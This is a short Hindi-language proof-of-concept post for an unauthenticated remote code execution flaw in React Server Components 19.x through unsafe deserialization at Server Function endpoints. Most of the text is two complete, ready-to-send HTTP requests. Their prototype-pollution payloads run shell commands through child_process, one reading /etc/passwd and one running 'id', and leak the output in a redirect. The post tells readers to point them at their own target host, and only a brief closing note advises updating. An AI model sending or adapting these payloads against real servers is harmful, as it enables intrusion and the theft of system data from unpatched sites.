
React Server Components संस्करण 19.0.0, 19.1.0, 19.1.1, और 19.2.0, जिनमें react-server-dom-parcel, react-server-dom-turbopack, और react-server-dom-webpack शामिल हैं, में एक दूरस्थ कोड निष्पादन भेद्यता (remote code execution vulnerability) मौजूद है।
React Server Components के संस्करण 19.0.0, 19.1.0, 19.1.1, और 19.2.0, जिनमें
react-server-dom-parcel, react-server-dom-turbopack, और react-server-dom-webpack शामिल हैं, में एक रिमोट कोड निष्पादन (RCE) भेद्यता मौजूद है।
यह समस्या Server Function एंडपॉइंट्स पर भेजे गए हमलावर-नियंत्रित पेलोड्स के असुरक्षित डिसीरियलाइज़ेशन के कारण उत्पन्न होती है।
नीचे भेद्यता को प्रदर्शित करने वाला पूरा HTTP अनुरोध है, जिसमें संवेदनशील कमांड्स को प्लेसहोल्डर्स से बदल दिया गया है। redacted.com को अपने लक्ष्य होस्ट से बदलें।
POST / HTTP/1.1
Host: redacted.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 721
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /etc/passwd|tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

POST / HTTP/1.1
Host: redecated.com
Sec-Ch-Ua: "Not=A?Brand";v="24", "Chromium";v="140"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 691
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

PoC सारांश:
बिना प्रमाणीकरण वाले हमलावर दूरस्थ रूप से मनमाना कोड निष्पादित कर सकते हैं, जो संभावित रूप से पूर्ण सिस्टम समझौते का कारण बन सकता है।
React Server Components के नवीनतम रिलीज़ में अपडेट करें, जहाँ असुरक्षित डिसीरियलाइज़ेशन पथ पैच किए गए हैं।
स्क्रीन के उस पार आप खुशहाल रहें :) ✨❤️